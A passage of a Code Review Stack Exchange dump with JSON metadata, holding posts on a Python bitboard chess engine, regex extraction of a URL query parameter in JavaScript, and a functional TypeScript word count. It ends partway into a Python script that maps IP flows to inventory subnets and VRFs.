self.bitboards[16] = ((move_to & self.bitboards[16]) ^
self.bitboards[16])
def undo_move(self):
"""Undo the previous move."""
self.white_to_move, self.bitboards, self.score = self.history.pop()
def is_check(self):
"""Determine if the king is in check.
:return: bitboard containing all attacking pieces or 1 if the king is
taken.
"""
if self.white_to_move and self.bitboards[5] != 0:
(col, row), (diag, adiag) = bitboard_to_pos.get(self.bitboards[11])
return ((self.bitboards[4] | self.bitboards[3]) & (da.get(self.bitboards[11]).get(self.bitboards[14] & dmt[diag]) | ada.get(self.bitboards[11]).get(self.bitboards[14] & admt[adiag]))) | ((self.bitboards[4] | self.bitboards[1]) & (ra.get(self.bitboards[11]).get(self.bitboards[14] & rmt[row]) | fa.get(self.bitboards[11]).get(self.bitboards[14] & fmt[col]))) | (self.bitboards[2] & knight_attacks.get(self.bitboards[11])) | (self.bitboards[0] & black_pawn_attacks.get(self.bitboards[11])) | (self.bitboards[5] & king_attacks.get(self.bitboards[11]))
elif not self.white_to_move and self.bitboards[11] != 0:
(col, row), (diag, adiag) = bitboard_to_pos.get(self.bitboards[5])
return ((self.bitboards[10] | self.bitboards[9]) & (da.get(self.bitboards[5]).get(self.bitboards[14] & dmt[diag]) | ada.get(self.bitboards[5]).get(self.bitboards[14] & admt[adiag]))) | ((self.bitboards[10] | self.bitboards[7]) & (ra.get(self.bitboards[5]).get(self.bitboards[14] & rmt[row]) | fa.get(self.bitboards[5]).get(self.bitboards[14] & fmt[col]))) | (self.bitboards[8] & knight_attacks.get(self.bitboards[5])) | (self.bitboards[6] & white_pawn_attacks.get(self.bitboards[5])) | (self.bitboards[11] & king_attacks.get(self.bitboards[5]))
else:
return 1
def perft(self, depth):
"""Traverse the game tree, mainly for debugging purposes."""
if depth > 0:
nodes = 0
for move in self.generate_moves():
self.make_move(move)
if not self.is_check():
nodes += self.perft(depth - 1)
self.undo_move()
return nodes
else:
return 1
def alpha_beta(self, depth, alpha, beta):
"""Preform a alpha-beta search to the desired depth."""
if depth == 0:
return self.score, None
else:
best_move = None
if self.white_to_move:
move_list = self.sort(self.generate_moves(), -1)
for move in move_list:
self.make_move(move[1])
if not self.is_check():
score = self.alpha_beta(depth - 1, alpha, beta)[0]
if score > alpha: # white maximizes her score
alpha = score
best_move = move[1]
self.undo_move()
if alpha >= beta: # alpha-beta cutoff
break
else:
self.undo_move()
else:
self.undo_move()
return (alpha, best_move)
else:
move_list = self.sort(self.generate_moves(), 1)
for move in move_list:
self.make_move(move[1])
if not self.is_check():
score = self.alpha_beta(depth - 1, alpha, beta)[0]
if score < beta: # black minimizes his score
beta = score
best_move = move[1]
self.undo_move()
if alpha >= beta: # alpha-beta cutoff
break
else:
self.undo_move()
else:
self.undo_move()
return (beta, best_move)
def sort(self, move_list, turn):
"""
Sort the moves in the list based on static-evaluation in next node.
:param move_list: list of pseduo-legal moves.
:param turn: -1 for white and 1 for black.
:return: sorted list.
"""
sorted_list = []
for move in move_list:
self.make_move(move)
sorted_list.append((self.score, move))
self.undo_move()
return sorted(sorted_list, key=lambda item: turn*item[0])
def generate_hash(self):
"""Generate a hash-key from the position."""
return hash(tuple(self.bitboards)) + int(self.white_to_move)
def is_attacked(gs, s):
"""
Determine if the square is attacked by enemy pieces.
:param gs: a Game_State class object.
:param s: bitboard with the square to be checked set to 1.
:return: bitboard containing all attacking pieces.
"""
(col, row), (diag, adiag) = bitboard_to_pos.get(s)
if gs.white_to_move:
return (((gs.bitboards[10] | gs.bitboards[9]) &
(da.get(s).get(gs.bitboards[14] & dmt[diag]) |
ada.get(s).get(gs.bitboards[14] & admt[adiag]))) |
((gs.bitboards[10] | gs.bitboards[7]) &
(ra.get(s).get(gs.bitboards[14] & rmt[row]) |
fa.get(s).get(gs.bitboards[14] & fmt[col]))) |
(gs.bitboards[8] & knight_attacks.get(s)) |
(gs.bitboards[6] & white_pawn_attacks.get(s)) |
(gs.bitboards[11] & king_attacks.get(s)))
else:
return (((gs.bitboards[4] | gs.bitboards[3]) &
(da.get(s).get(gs.bitboards[14] & dmt[diag]) |
ada.get(s).get(gs.bitboards[14] & admt[adiag]))) |
((gs.bitboards[4] | gs.bitboards[1]) &
(ra.get(s).get(gs.bitboards[14] & rmt[row]) |
fa.get(s).get(gs.bitboards[14] & fmt[col]))) |
(gs.bitboards[2] & knight_attacks.get(s)) |
(gs.bitboards[0] & black_pawn_attacks.get(s)) |
(gs.bitboards[5] & king_attacks.get(s)))
def white_pawn_moves(ep, bp, o, s):
"""
Generate a bitboard of available pawn moves for white.
:param ep: bitboard containing the available en passant captures.
:param bp: bitboard containing all black pieces.
:param o: bitboard containing all pieces.
:param s: bitboard of all white pawns.
:return: list of pseudo-legal moves.
"""
move_list = []
clippedL = s & 0x7F7F7F7F7F7F7F7F
clippedR = s & 0xFEFEFEFEFEFEFEFE
push = (s << 8) & (o ^ 0xFFFFFFFFFFFFFFFF)
double_push = ((push & 0x0000000000FF0000) << 8) & (o ^ 0xFFFFFFFFFFFFFFFF)
captures = (clippedL << 9 & bp | clippedR << 7 & bp |
(clippedL << 1 & ep) << 8 | (clippedR >> 1 & ep) << 8)
move_to = push & -push
while move_to > 0:
move_list.append((move_to >> 8, move_to, 0))
push = push & (push - 1)
move_to = push & -push
move_to = double_push & -double_push
while move_to > 0:
move_list.append((move_to >> 16, move_to, 0))
double_push = double_push & (double_push - 1)
move_to = double_push & -double_push
move_to = captures & -captures
while move_to > 0:
source = s & black_pawn_attacks.get(move_to)
move_from = source & -source
while move_from > 0:
move_list.append((move_from, move_to, 0))
source = source & (source - 1)
move_from = source & -source
captures = captures & (captures - 1)
move_to = captures & -captures
return move_list
def black_pawn_moves(ep, wp, o, s):
"""
Generate a bitboard of available pawn moves for black.
:param ep: bitboard containing the available en passant captures.
:param wp: bitboard containing all white pieces.
:param o: bitboard containing all pieces.
:param s: bitboard of all white pawns.
:return: list of pseudo-legal moves.
"""
move_list = []
clippedL = s & 0x7F7F7F7F7F7F7F7F
clippedR = s & 0xFEFEFEFEFEFEFEFE
push = (s >> 8) & (o ^ 0xFFFFFFFFFFFFFFFF)
double_push = ((push & 0xFF0000000000) >> 8) & (o ^ 0xFFFFFFFFFFFFFFFF)
captures = (clippedR >> 9 & wp | clippedL >> 7 & wp |
(clippedL << 1 & ep) >> 8 | (clippedR >> 1 & ep) >> 8)
move_to = push & -push
while move_to > 0:
move_list.append((move_to << 8, move_to, 0))
push = push & (push - 1)
move_to = push & -push
move_to = double_push & -double_push
while move_to > 0:
move_list.append((move_to << 16, move_to, 0))
double_push = double_push & (double_push - 1)
move_to = double_push & -double_push
move_to = captures & -captures
while move_to > 0:
source = s & white_pawn_attacks.get(move_to)
move_from = source & -source
while move_from > 0:
move_list.append((move_from, move_to, 0))
source = source & (source - 1)
move_from = source & -source
captures = captures & (captures - 1)
move_to = captures & -captures
return move_list
def king_moves(gs, o, c, b, s):
"""
Generate a bitboard of available king moves.
:param gs: a Game_State class object.
:param o: bitboard containing all pieces.
:param c: biboard containing castle relevant pieces that has not moved.
:param b: bitboard of all pieces of own color.
:param s: bitboard of the king
:return: list of pseudo-legal moves.
"""
move_list = []
moves = king_attacks.get(s) & (b ^ 0xFFFFFFFFFFFFFFFF)
move_to = moves & -moves
while move_to > 0:
move_list.append((s, move_to, 5))
moves = moves & (moves - 1)
move_to = moves & -moves
if s | c == c and s >> 3 & c != 0 and s >> 1 & o == 0 and s >> 2 & o == 0:
if not is_attacked(gs, s) and not is_attacked(gs, s >> 1):
move_list.append((s, s >> 2, 5)) # O-O
if (s | c == c and s << 4 & c != 0 and s << 1 & o == 0 and
s << 2 & o == 0 and s << 3 & o == 0):
if not is_attacked(gs, s) and not is_attacked(gs, s << 1):
move_list.append((s, s << 2, 5)) # O-O-O
return move_list
def knight_moves(b, s):
"""Generate a bitboard of available knight moves.
:param b: bitboard of all pieces of own color.
:param s: bitboard of the king
:return: list of pseudo-legal moves.
"""
move_list = []
move_from = s & -s
while move_from > 0:
moves = knight_attacks.get(move_from) & (b ^ 0xFFFFFFFFFFFFFFFF)
move_to = moves & -moves
while move_to > 0:
move_list.append((move_from, move_to, 2))
moves = moves & (moves - 1)
move_to = moves & -moves
s = s & (s - 1)
move_from = s & -s
return move_list
def rook_moves(o, b, s):
"""Generate a bitboard of available rook moves.
:param o: bitboard of all pieces
:param b: bitboard of all pieces of own color.
:param s: bitboard of the king
:return: list of pseudo-legal moves.
"""
move_list = []
move_from = s & -s
while move_from > 0:
(col, row), (_) = bitboard_to_pos.get(move_from)
moves = ((ra.get(move_from).get(o & rmt[row]) |
fa.get(move_from).get(o & fmt[col])) &
(b ^ 0xFFFFFFFFFFFFFFFF))
move_to = moves & -moves
while move_to > 0:
move_list.append((move_from, move_to, 1))
moves = moves & (moves - 1)
move_to = moves & -moves
s = s & (s - 1)
move_from = s & -s
return move_list
def bishop_moves(o, b, s):
"""Generate a bitboard of available bishop moves.
:param o: bitboard of all pieces
:param b: bitboard of all pieces of own color.
:param s: bitboard of the king
:return: list of pseudo-legal moves.
"""
move_list = []
move_from = s & -s
while move_from > 0:
(_), (diag, adiag) = bitboard_to_pos.get(move_from)
moves = ((da.get(move_from).get(o & dmt[diag]) |
ada.get(move_from).get(o & admt[adiag])) &
(b ^ 0xFFFFFFFFFFFFFFFF))
move_to = moves & -moves
while move_to > 0:
move_list.append((move_from, move_to, 3))
moves = moves & (moves - 1)
move_to = moves & -moves
s = s & (s - 1)
move_from = s & -s
return move_list
def queen_moves(o, b, s):
"""Generate a bitboard of available queen moves.
:param o: bitboard of all pieces
:param b: bitboard of all pieces of own color.
:param s: bitboard of the king
:return: list of pseudo-legal moves.
"""
move_list = []
move_from = s & -s
while move_from > 0:
(col, row), (diag, adiag) = bitboard_to_pos.get(move_from)
moves = ((ra.get(move_from).get(o & rmt[row]) |
fa.get(move_from).get(o & fmt[col]) |
da.get(move_from).get(o & dmt[diag]) |
ada.get(move_from).get(o & admt[adiag])) &
(b ^ 0xFFFFFFFFFFFFFFFF))
move_to = moves & -moves
while move_to > 0:
move_list.append((s, move_to, 4))
moves = moves & (moves - 1)
move_to = moves & -moves
s = s & (s - 1)
move_from = s & -s
return move_list
def print_bitboard(bitboard):
"""Print a bitboard, mainly for development purposes."""
board = "{:064b}".format(bitboard)
for y in range(8):
for x in range(8):
print(board[8 * y + x] + " ", end="")
print("")
if __name__ == "__main__":
game = Game_State()
game.print_board()
while abs(game.score) < 15000:
print('Input move:')
move = input()
game.move(move)
print("Game over!")
a = Game_State()
</code></pre>
<p>the .txt files needed in order for the script to run can be found here: <a href="https://github.com/grimkalman/ChessBOT" rel="nofollow noreferrer">https://github.com/grimkalman/ChessBOT</a></p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:25:41.667",
"Id": "249443",
"Score": "3",
"Tags": [
"python",
"performance",
"chess"
],
"Title": "Simple chess engine in Python"
}
|
249443
|
<p>I intend to extract a URL search parameter value using a regular expression in plain <a href="/questions/tagged/javascript" class="post-tag" title="show questions tagged 'javascript'" rel="tag">javascript</a>. The parameter can be in any order in the search query.</p>
<p>So is there a better approach than ?
<div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const query1 = '?someBoolean=false&q=&location=&testParam=dummy_value&testParam2=dummy_value2&requiredParam=requiredValue';
const query2 = '?someBoolean=false&q=&location=&testParam=dummy_value&testParam2=dummy_value2&requiredParam=requiredValue&someMoreParam=dummy_value2';
let requiredParam = query1.match(/requiredParam=(.*?)$/) || [];
console.log('Using regex "/requiredParam=(.*?)$/"');
console.log(`For Query1: result = ${requiredParam[1]}`);
requiredParam = query2.match(/requiredParam=(.*?)&/) || [];
console.log('Using regex "/requiredParam=(.*?)&/"');
console.log(`For Query2: result = ${requiredParam[1]}`);
console.log('Combining both regex "/requiredParam=(.*?)(&|$)/"');
requiredParam = query1.match(/requiredParam=(.*?)(&|$)/) || [];
console.log(`For Query1: result = ${requiredParam[1]}`);
requiredParam = query2.match(/requiredParam=(.*?)(&|$)/) || [];
console.log(`For Query2: result = ${requiredParam[1]}`);</code></pre>
</div>
</div>
</p>
<p>Edit:</p>
<p>My constraints:</p>
<ul>
<li>Browser compatibility including IE 9 </li>
<li>Using only vanilla javascript</li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:45:16.683",
"Id": "489032",
"Score": "2",
"body": "I rolled back your last edit. After getting an answer you are not allowed to change your code anymore. This is to ensure that answers do not get invalidated and have to hit a moving target. If you have changed your code you can either post it as an answer (if it would constitute a code review) or ask a new question with your changed code (linking back to this one as reference). See the section _What should I not do?_ on [_What should I do when someone answers my question?_](https://codereview.stackexchange.com/help/someone-answers) for more information"
}
] |
[
{
"body": "<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams\" rel=\"nofollow noreferrer\">URLSearchParams</a> would make things significantly easier:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const query1 = '?someBoolean=false&q=&location=&testParam=dummy_value&testParam2=dummy_value2&requiredParam=requiredValue';\nconst query2 = '?someBoolean=false&q=&location=&testParam=dummy_value&testParam2=dummy_value2&requiredParam=requiredValue&someMoreParam=dummy_value2';\n\nconst params1 = new URLSearchParams(query1);\nconst params2 = new URLSearchParams(query2);\n\nconsole.log(`For Query1: result = ${params1.get('requiredParam')}`);\nconsole.log(`For Query2: result = ${params2.get('requiredParam')}`);</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>It's supported natively in the vast majority of browsers, but not all. For the rest, <a href=\"https://www.npmjs.com/package/url-search-params-polyfill\" rel=\"nofollow noreferrer\">here's a polyfill</a>. It's better not to re-invent the wheel when you don't need to, and it's good when you're able to use a standard API (with examples and documentation and Stack Overflow answers about it, etc).</p>\n<p>As a side note - when using regular expressions, I'd recommend using capture groups only when necessary. If all you need to do is group some tokens together logically (like for a <code>|</code> alternation), non-capturing groups should be preferred. That is, if URLSearchParams didn't exist, better to do <code>(?:&|$)</code> than <code>(&|$)</code>. Reserve capturing groups for when you need to save and use the captured result somewhere - otherwise, non-capturing groups are more appropriate, less expensive, and require less cognitive overhead.</p>\n<p>If you had to go the regex route, another slight improvement would be to use a negative character class instead of lazy repetition. In the pattern, you have:</p>\n<pre><code>(.*?)(&|$)\n</code></pre>\n<p>Lazy repetition <a href=\"https://stackoverflow.com/questions/22444/my-regex-is-matching-too-much-how-do-i-make-it-stop#comment93020571_22457\">is <em>slow</em></a>; it forces the engine to advance one character at a time, then check the rest of the pattern for a match, and repeat until the match is found. Since you know that the capture group will not contain any <code>&</code>s, better to match anything but <code>&</code>s:</p>\n<pre><code>([^&]*)\n</code></pre>\n<p>Once you do that, you don't even need the final <code>(&|$)</code> or <code>(?:&|$)</code> due to the greedy repetition.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:55:06.587",
"Id": "489022",
"Score": "0",
"body": "This solution would have otherwise made my life easy but I have a strict constraint of using 'plain js' and nothing else and so can't use `URLSearchParams` from compatibility point of view "
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:57:26.880",
"Id": "489023",
"Score": "1",
"body": "If compatibility is the issue, that's what the polyfill is for - and the polyfill *is* written in plain JS. You can see the source code here if you're curious: https://github.com/jerrybendy/url-search-params-polyfill/blob/master/index.js For professional development, don't be afraid to heavily rely on polyfills (and Babel), they make your life so much easier."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:49:40.850",
"Id": "249445",
"ParentId": "249444",
"Score": "5"
}
},
{
"body": "<h2>Bug with variable declarations</h2>\n<p>The keywords <code>const</code> and <code>let</code> are only supported (partially) by IE 11<sup><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const#Browser_compatibility\" rel=\"nofollow noreferrer\">1</a></sup> <sup><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let#Browser_compatibility\" rel=\"nofollow noreferrer\">2</a></sup>.</p>\n<p>I don't have IE 9 but I do have IE 11 and set the Document mode to IE 9.</p>\n<p><a href=\"https://i.stack.imgur.com/00IWq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/00IWq.png\" alt=\"IE emulation mode\" /></a></p>\n<p>Running the first line in a sandbox on jsBin.com :</p>\n<pre><code>const query1 = '?someBoolean=false&q=&location=&testParam=dummy_value&testParam2=dummy_value2&requiredParam=requiredValue';\n</code></pre>\n<p>led to an error in the console:</p>\n<p><a href=\"https://i.stack.imgur.com/WPTuD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WPTuD.png\" alt=\"IE emulation error\" /></a></p>\n<p>In order to properly support IE 9 users, use <code>var</code> instead of <code>const</code> and <code>let</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:32:46.207",
"Id": "489027",
"Score": "0",
"body": "I have not used `const` and `let` in my actual implementation and only here in the sample code snippet. I will edit the code snippet here as well."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:34:56.970",
"Id": "489029",
"Score": "2",
"body": "Unfortunately after getting an answer you are not allowed to change your code anymore. This is to ensure that answers do not get invalidated and have to hit a moving target. See the section _What should I not do?_ on [_What should I do when someone answers my question?_](https://codereview.stackexchange.com/help/someone-answers) for more information"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:38:10.813",
"Id": "489030",
"Score": "0",
"body": "I added an `edit` note to the question too. I assumed that editing is allowed with the `disclosure`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:27:43.420",
"Id": "249446",
"ParentId": "249444",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249445",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:41:56.317",
"Id": "249444",
"Score": "4",
"Tags": [
"javascript",
"regex",
"ecmascript-6"
],
"Title": "Regular expression to get a string between two strings where the last string can also be 'end of string'"
}
|
249444
|
<p>The following searches recursively for all the mark down files - i. ending with the extension <code>.md</code> - inside a folder. It then stores the text of the files in an array. Finally, it sums their word count using a <code>wordCount()</code> function (from the <a href="https://github.com/spencermountain/compromise" rel="nofollow noreferrer">compromise</a> package).</p>
<pre><code>import nlp from 'compromise'
import fs from 'fs'
import path from 'path'
const filePaths = searchRecursive(`${__dirname}/test`, '.md')
const fileTexts = filePaths.map((filePath: string) => {
return fs.readFileSync(filePath, 'utf-8')
}) // -> ['one two', 'one two three']
let totalWordCount = 0
fileTexts.forEach((fileText: string) => {
totalWordCount += nlp(fileText).wordCount()
})
console.log(totalWordCount) // -> 5
function searchRecursive (dir: string, pattern: string) {
...
}
</code></pre>
<p>I've heard that <code>forEach</code> shouldn't be used in functional programming. How can I modify this code so it doesn't use <code>forEach</code>?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:28:44.827",
"Id": "489034",
"Score": "1",
"body": "Ideally, functional programs do not need loops because they can achieve the same intent using recursion, fold, map etc.\nA general tip from me, 'X should not be used with Y' should never be seen as dogma. IMHO, you should not change your code until you see the reason to (e.g. drawbacks).\nI don't know javascript but your code looks like it could be changed to 'fold left' if you really want to."
}
] |
[
{
"body": "<blockquote>\n<p>How to modify this code, so it doesn't use forEach?</p>\n</blockquote>\n<p>One way to achieve this is using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce\" rel=\"nofollow noreferrer\"><code>Array.prototype.reduce()</code></a>:</p>\n<pre><code>const totalWordCount = fileTexts.reduce((big: sum, fileText: string) => {\n return sum + nlp(fileText).wordCount()\n}, 0)\n</code></pre>\n<p>Notice that <code>totalWordCount</code> is assigned once so <code>const</code> can be used which helps avoid <a href=\"https://softwareengineering.stackexchange.com/a/278653/244085\">accidental re-assignment and other bugs</a>.</p>\n<p>If <code>fileTexts</code> is only used to calculate <code>totalWordCount</code> then the two loops could be combined into a single loop (e.g. with <code>reduce()</code>).</p>\n<p>To learn more about functional techniques try <a href=\"http://reactivex.io/learnrx/\" rel=\"nofollow noreferrer\">these functional exercises</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:34:30.267",
"Id": "489036",
"Score": "0",
"body": "Thanks a lot for the answer. Is the function still pure even though it requires a node package to work (compromise)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:16:47.753",
"Id": "489053",
"Score": "5",
"body": "After reading a few different definitions about pure functions on various sites I don't see anything about external dependencies (other than things like no variation from I/O devices). I like [this SO answer by deceze](https://stackoverflow.com/a/39834715/1575353): \"_\"Having dependencies\" plays absolutely no role in defining a pure function. The only thing that matters is whether the function has any **side effects** and whether its result depends on **external state**. If a function behaves exactly the same and always produces the same result given the same input, it is pure._\""
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:27:42.643",
"Id": "249450",
"ParentId": "249449",
"Score": "9"
}
},
{
"body": "<p>Another suggestion: with TypeScript, you only need to note the type of a parameter when TypeScript can't infer it itself. You might find it easier to read and write code when you avoid explicitly typing functions except when necessary for the TS to compile, or when the type of a return value isn't clear at a glance. In other words, if I were you, I'd switch out:</p>\n<pre><code>.map((filePath: string) => {\n</code></pre>\n<p>with</p>\n<pre><code>.map((filePath) => {\n</code></pre>\n<p>and, if you <em>did</em> have to use <code>forEach</code> somewhere else, switch</p>\n<pre><code>fileTexts.forEach((fileText: string) => {\n</code></pre>\n<p>with</p>\n<pre><code>fileTexts.forEach((fileText) => {\n</code></pre>\n<p>It cuts down on a bit of syntax noise.</p>\n<hr />\n<p>On another note, you're currently waiting for each file to be read in <em>serial</em> due to the <code>readFileSync</code>. If you have 100 files, and it takes 0.1 seconds to read each file, your script will have to run for at least 10 seconds. It would be more elegant to switch out <code>readFileSync</code> with a non-blocking version, and then use <code>Promise.all</code>. Luckily, modern versions of node have <code>fs.promises</code>, which are Promise-based version of the non-blocking functions:</p>\n<pre><code>Promise.all(\n filePaths.map(\n filePath => fs.promises.readFile(filePath, 'utf-8')\n // if nlp takes more than an instant to run,\n // make sure to chain it onto the Promise here so it can run ASAP\n // rather than below, which could result in a lot of CPU load at once\n .then(fileText => nlp(fileText).wordCount())\n )\n)\n .then((wordCounts) => {\n const totalWordCount = wordCounts.reduce((a, b) => a + b, 0);\n // done\n })\n .catch((err) => {\n // handle errors\n });\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:53:09.587",
"Id": "489038",
"Score": "0",
"body": "This is cool, thanks. Does having `nlp` rely on the FS IO to come back staggered, otherwise it's pretty much no different to having it outside the Promise? Coming from Python this may sound silly, does having `nlp` in the Promise allow multi-core performance in JS in addition to the benefits to staggered IO?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:58:16.577",
"Id": "489039",
"Score": "2",
"body": "JS is single-threaded. If you called `nlp` outside the `.map`, each `nlp` call would run in serial. If it takes a bit of processing time, that'd be a bit inelegant - better to run a given `nlp` as soon as the text is available, to take advantage of (for example) if one file gets its `fileText` after 0.1 seconds, and another gets its after 0.5 seconds. Unless `nlp` is expensive, it's only a marginal improvement."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T19:03:34.063",
"Id": "489040",
"Score": "0",
"body": "Interesting thanks, it seems JavaScript has similar drawbacks as Python does."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:40:07.273",
"Id": "249451",
"ParentId": "249449",
"Score": "8"
}
},
{
"body": "<p>I'll leave the alternatives of the code to the other answers, but just to make a comment about functional programming:</p>\n<p>Functional programming has three core tenets as I see it:</p>\n<ul>\n<li>Functions are first class citizens (you can pass them as arguments, put them in lists)</li>\n<li>Functions are deterministic - (for a function call of the same arguments, it always returns the same thing).</li>\n<li>Functions don't cause side effects.</li>\n</ul>\n<p>Now with the second two points it's apparent that in a purely functional context, some things simply are not possible:</p>\n<ul>\n<li>A function that generates a random number</li>\n<li>A function that gets the current time</li>\n<li>A function that fetches some data from a database or API</li>\n<li>A function that writes data to a file.</li>\n</ul>\n<p>So the point here is - even if you're adopting a functional paradigm, at some point, unless your program is just a simple 'sort this list' type program, it likely needs to have side effects and encounter nondeterministic behavior.</p>\n<p>In your case, reading from a file is nondeterministic behavior.</p>\n<p>So the question is, in a functional paradigm, how do you deal with this?</p>\n<p>Some resources I recommend looking at:</p>\n<p><a href=\"https://stackoverflow.com/questions/330371/are-databases-and-functional-programming-at-odds\">https://stackoverflow.com/questions/330371/are-databases-and-functional-programming-at-odds</a></p>\n<p>Basically the suggestion I make is that you isolate your nondeterministic code into functions that just do that non-deterministic behavior. You then pass those functions into the logic functions don't need to know if the function is deterministic or not.</p>\n<p>From your example, lets say you have this:</p>\n<pre><code>function getFileTexts(filePaths) {\n const fileTexts = filePaths.map((filePath: string) => {\n return fs.readFileSync(filePath, 'utf-8')\n })\n return fileTexts; \n}\n\n</code></pre>\n<p>So the problem with this is that the <code>fs.readFileSync</code> is nondeterministic.</p>\n<p>What you can do pass the 'read file' function in, <em>as an argument</em>.</p>\n<pre><code>function getFileTexts(filePaths, readFileFn) {\n const fileTexts = filePaths.map((filePath: string) => {\n return readFileFn(filePath); \n })\n return fileTexts; \n}\n</code></pre>\n<p>And you would call this with:</p>\n<pre><code>const fileTexts = getFileTexts(filePaths, (filePath) => fs.readFileSync(filePath, 'utf-8')); \n</code></pre>\n<p>Now, even though in the real world that function isn't going to deterministic, at least now <em>it's possible for it to be</em>.</p>\n<p>That is, in your tests for example, you pass an alternative, purely deterministic function like:</p>\n<pre><code>const fileTexts = getFileTexts(filePaths, () => 'foo bar biz'); \n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T14:29:46.483",
"Id": "489134",
"Score": "1",
"body": "Yep, even the `console.log(totalWordCount)` is non-functional :P At least one side-effect is necessary for a script to be of any use. The best one can do is to minimize them and ensure they're at the very edges of the program."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T03:20:00.000",
"Id": "249470",
"ParentId": "249449",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:08:11.967",
"Id": "249449",
"Score": "6",
"Tags": [
"javascript",
"functional-programming",
"ecmascript-6",
"iterator",
"typescript"
],
"Title": "Counting words from stored .md files"
}
|
249449
|
<p>I've created a short Python script in order to do some analysis on network flows.</p>
<p>I have an inventory of networks (/8 to /30 masks) of medium size (around 10k references) that provide several information for each of my networks (physical sites, VRF (routing instances), etc.).</p>
<p>I then have some humongous flows data (millions of flows) that contains precise (/32 masks) source and destination IP.</p>
<p>My main goal is to identify which network my /32 IP belongs to, and then to identify the flows where my destination VRF is the same as my source VRF.</p>
<pre><code>import xlsxwriter
import csv
from progress.bar import Bar
from ipaddress import IPv4Address, IPv4Network
import operator
import timeit
import os
AnalysedDictionnary = dict()
class Flow:
def __init__(self, srcIp : IPv4Address, dstIp : IPv4Address, port : int, nbHits : int):
self.srcIp = srcIp
self.dstIp = dstIp
self.port = port
self.nbHits = nbHits
def __repr__(self):
return "<Flow srcIp:%s dstIp:%s port:%s nbHits:%s>" % (self.srcIp, self.dstIp, self.port, self.nbHits)
def __str__(self):
return "From str method of Flow: srcIp is %s, dstIp is %s, port is %s, nbHits is %s," % (self.srcIp, self.dstIp, self.port, self.nbHits)
class EntityNetwork:
def __init__(self, siteId, siteName, vrfId, vrfName, IPV4Networks):
self.siteId = siteId
self.siteName = siteName
self.vrfId = vrfId
self.vrfName = vrfName
self.MyIPv4Network = IPV4Networks
class InventoryNetworks:
# "Reference all current Known Networks"
def __init__(self, filePath=''):
self.filePath = filePath
self.MyEntityNetwork = []
# "Read File, parse file and populate a list of IPV4Networks"
with open(filePath) as csvfile:
reader = csv.DictReader(csvfile, delimiter=',')
for line in reader:
self.MyEntityNetwork.append(EntityNetwork(line['Site ID'], line['Site'], line['VRF (VRF ID)'], line['VRF Description'], IPv4Network(line['Subnet'])))
self.MyEntityNetwork.sort(key=operator.attrgetter('MyIPv4Network'), reverse=True)
class FlowCapture:
# An observed flow
def __init__(self, filePath=''):
self.filePath = filePath
self.myFlows = []
# "Read File, parse file and populate a list of IPV4Networks"
file = open(filePath, "r")
Lines = file.readlines()
for line in Lines:
splitedLine = line.split(",")
self.myFlows.append(Flow(IPv4Address(splitedLine[7]), IPv4Address(splitedLine[8]), splitedLine[25], 1))
tmpMyFlows = set(self.myFlows)
self.myFlows = list(tmpMyFlows)
class AnalyzedFlow:
def findSubnet(self, subnet):
maxMask = 0
#Check if we already analyzed the network and saved it in the dictionnary
if subnet in AnalysedDictionnary:
return AnalysedDictionnary[subnet]
for flow in self.refNetworks.MyEntityNetwork:
if flow.MyIPv4Network.overlaps(IPv4Network(IPv4Address(subnet))):
if flow.MyIPv4Network.prefixlen > maxMask:
matchedSubnet = flow
maxMask = flow.MyIPv4Network.prefixlen
